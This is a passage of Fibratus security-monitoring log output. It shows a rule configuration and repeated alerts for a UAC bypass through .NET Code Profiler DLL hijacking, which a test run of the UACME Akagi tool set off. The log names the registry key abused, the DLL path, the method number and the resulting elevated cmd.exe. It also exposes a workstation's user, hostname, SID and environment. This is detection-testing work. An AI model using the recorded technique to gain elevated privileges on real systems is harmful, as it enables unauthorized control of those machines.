enable-audit-api=>true enable-threadpool=>false enable-vamap=>true enable-image=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml] enabled=>true] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ level=>info max-size=>100 max-age=>0 formatter=>text max-backups=>15 log-stdout=>true] + output ......................... [ http=>[ method=>POST serializer=>json enable-gzip=>false endpoints=>[] timeout=>5s enabled=>false tls-insecure-skip-verify=>false] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true format=>pretty] eventlog=>[ enabled=>false level=>info] amqp=>[ tls-insecure-skip-verify=>false exchange=>fibratus durable=>false enabled=>false vhost=>/ timeout=>5s exchange-type=>topic passive=>false routing-key=>fibratus delivery-mode=>transient url=>amqp://localhost:5672] elasticsearch=>[ bulk-workers=>1 sniff=>false healthcheck=>true servers=>[http://127.0.0.1:9200] template-name=>fibratus enabled=>false trace-log=>false index-name=>fibratus healthcheck-interval=>10s flush-period=>1s healthcheck-timeout=>5s timeout=>5s gzip-compression=>false]] + pe ............................. [ read-sections=>false excluded-images=>[svchost.exe] read-symbols=>false read-resources=>false enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ enabled=>false params=>[]] trim=>[ enabled=>false] replace=>[ enabled=>false] rename=>[ enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ excluded-procs=>[] rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-registry=>false scan-timeout=>10s skip-mmaps=>false skip-files=>false enabled=>false fastscan=>true skip-allocs=>false excluded-files=>[]] source=bootstrap/bootstrap.go:187 +time=2025-12-01T17:33:16+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-12-01T17:33:18+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-12-01T17:33:25+01:00 level=info msg=sending alert: [UAC bypass via .NET Code Profiler DLL Hijack]. Text: Event(s): + Seq: 83018 + Pid: 7148 + Tid: 10744 + Type: RegSetValue + CPU: 4 + Name: RegSetValue + Category: registry + Description: Sets the data for the value of a registry key + Host: archrabbit + Timestamp: 2025-12-01 17:33:23.3504103 +0100 CET + Params: data➜ C:\Users\nedo\AppData\Local\Temp\pe386.dll, key_handle➜ ffffb387b28a1ba0, key_path➜ HKEY_CURRENT_USER\Environment\COR_PROFILER_PATH, status➜ Success, value_type➜ REG_SZ + Metadata: tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/, rule.seq.link: 2772249460329312528, rule.name: UAC bypass via .NET Code Profiler DLL Hijack + + Pid: 7148 + Ppid: 8360 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:e1a7ab5e-85bc-405d-abfb-e733129bd8b2 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + + Seq: 83469 + Pid: 13372 + Tid: 2708 + Type: CreateProcess + CPU: 0 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-12-01 17:33:23.9983004 +0100 CET + Params: cmdline➜ "C:\WINDOWS\system32\cmd.exe", directory_table_base➜ 40814a000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\system32\cmd.exe, exit_status➜ Success, flags➜ , kproc➜ ffff808004452080, name➜ cmd.exe, pid➜ 15080, ppid➜ 13372, real_ppid➜ 13372, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-12-01 17:33:23.9982493 +0100 CET, token_elevation_type➜ FULL, token_integrity_level➜ HIGH, token_is_elevated➜ true, username➜ nedo + Metadata: tactic.ref: https://attack.mitre.org/tactics/TA0004/, rule.seq.link: 2772249460329312528, rule.name: UAC bypass via .NET Code Profiler DLL Hijack, tactic.id: TA0004, tactic.name: Privilege Escalation + + Pid: 13372 + Ppid: 7148 + Name: mmc.exe + Parent name: Akagi64Con.exe + Cmdline: "C:\Windows\System32\mmc.exe" eventvwr.msc + Parent cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Exe: C:\Windows\System32\mmc.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Windows\System32\mmc.exe" eventvwr.msc] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-12-01T17:33:29+01:00 level=info msg=sending alert: [UAC bypass via .NET Code Profiler DLL Hijack]. Text: Event(s): + Seq: 83958 + Pid: 3016 + Tid: 2896 + Type: RegSetValue + CPU: 2 + Name: RegSetValue + Category: registry + Description: Sets the data for the value of a registry key + Host: archrabbit + Timestamp: 2025-12-01 17:33:28.6841153 +0100 CET + Params: data➜ C:\Users\nedo\AppData\Local\Temp\pe386.dll, key_handle➜ ffffb387b28a1ba0, key_path➜ HKEY_CURRENT_USER\Environment\COR_PROFILER_PATH, status➜ Success, value_type➜ REG_SZ + Metadata: rule.seq.link: 2772249460329312528, rule.name: UAC bypass via .NET Code Profiler DLL Hijack, tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/ + + Pid: 3016 + Ppid: 8360 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:e1a7ab5e-85bc-405d-abfb-e733129bd8b2 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + + Seq: 84409 + Pid: 9188 + Tid: 13460 + Type: CreateProcess + CPU: 6 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-12-01 17:33:29.3537266 +0100 CET + Params: cmdline➜ "C:\WINDOWS\system32\cmd.exe", directory_table_base➜ 4af09000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\system32\cmd.exe, exit_status➜ Success, flags➜ , kproc➜ ffff808009a57080, name➜ cmd.exe, pid➜ 15016, ppid➜ 9188, real_ppid➜ 9188, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-12-01 17:33:29.3536756 +0100 CET, token_integrity_level➜ HIGH, token_is_elevated➜ true, username➜ nedo + Metadata: rule.seq.link: 2772249460329312528, rule.name: UAC bypass via .NET Code Profiler DLL Hijack, tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/ + + Pid: 9188 + Ppid: 3016 + Name: mmc.exe + Parent name: Akagi64Con.exe + Cmdline: "C:\Windows\System32\mmc.exe" eventvwr.msc + Parent cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Exe: C:\Windows\System32\mmc.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Windows\System32\mmc.exe" eventvwr.msc] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-12-01T17:33:33+01:00 level=info msg=sending alert: [UAC bypass via .NET Code Profiler DLL Hijack]. Text: Event(s): + Seq: 84892 + Pid: 4600 + Tid: 6204 + Type: RegSetValue + CPU: 2 + Name: RegSetValue + Category: registry + Description: Sets the data for the value of a registry key + Host: archrabbit + Timestamp: 2025-12-01 17:33:32.4841126 +0100 CET + Params: data➜ C:\Users\nedo\AppData\Local\Temp\pe386.dll, key_handle➜ ffffb387b28a1ba0, key_path➜ HKEY_CURRENT_USER\Environment\COR_PROFILER_PATH, status➜ Success, value_type➜ REG_SZ + Metadata: rule.name: UAC bypass via .NET Code Profiler DLL Hijack, tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/, rule.seq.link: 2772249460329312528 + + Pid: 4600 + Ppid: 8360 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData 